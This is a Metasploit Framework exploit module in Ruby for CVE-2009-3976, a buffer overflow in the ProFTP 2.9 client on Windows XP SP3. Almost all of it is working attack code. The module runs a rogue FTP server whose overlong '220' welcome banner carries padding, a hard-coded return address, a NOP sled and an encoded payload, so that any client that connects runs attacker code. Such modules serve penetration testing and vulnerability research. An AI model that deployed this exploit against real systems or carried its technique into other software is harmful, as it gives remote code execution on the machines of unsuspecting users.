72 lines
1.8 KiB
Ruby
72 lines
1.8 KiB
Ruby
##
|
|
# $Id$
|
|
##
|
|
|
|
##
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
# Framework web site for more information on licensing and terms of use.
|
|
# http://metasploit.com/framework/
|
|
##
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
|
Rank = NormalRanking
|
|
|
|
include Msf::Exploit::Remote::TcpServer
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'ProFTP 2.9 Banner Remote Buffer Overflow',
|
|
'Description' => %q{
|
|
This module exploits a buffer overflow in the ProFTP 2.9
|
|
client that is triggered through an excessively long welcome message.
|
|
},
|
|
'Author' => [ 'His0k4 <his0k4.hlm[at]gmail.com>' ],
|
|
'License' => MSF_LICENSE,
|
|
'Version' => '$Revision$',
|
|
'References' =>
|
|
[
|
|
[ 'CVE', '2009-3976' ],
|
|
[ 'OSVDB', '57394' ],
|
|
[ 'URL', 'http://www.labtam-inc.com/index.php?act=products&pid=1' ],
|
|
],
|
|
'DefaultOptions' =>
|
|
{
|
|
'EXITFUNC' => 'seh',
|
|
},
|
|
'Payload' =>
|
|
{
|
|
'Space' => 1000,
|
|
'BadChars' => "\x00\x0a\x0d\x20",
|
|
'StackAdjustment' => -3500,
|
|
},
|
|
'Platform' => 'win',
|
|
'Targets' =>
|
|
[
|
|
# Tested against - XP SP3 English OK.
|
|
[ 'Universal', { 'Ret' => 0x6809d408 } ], # WCMDPA10 (part of ProFTP)
|
|
],
|
|
'Privileged' => false,
|
|
'DefaultTarget' => 0,
|
|
'DisclosureDate' => 'Aug 25 2009'))
|
|
|
|
register_options(
|
|
[
|
|
OptPort.new('SRVPORT', [ true, "The FTP daemon port to listen on", 21 ]),
|
|
], self.class)
|
|
end
|
|
|
|
def on_client_connect(client)
|
|
return if ((p = regenerate_payload(client)) == nil)
|
|
|
|
buffer = "220 "
|
|
buffer << rand_text_numeric(2064)
|
|
buffer << [target.ret].pack('V')
|
|
buffer << make_nops(20)
|
|
buffer << payload.encoded
|
|
buffer << "\r\n"
|
|
client.put(buffer)
|
|
end
|
|
|
|
end
|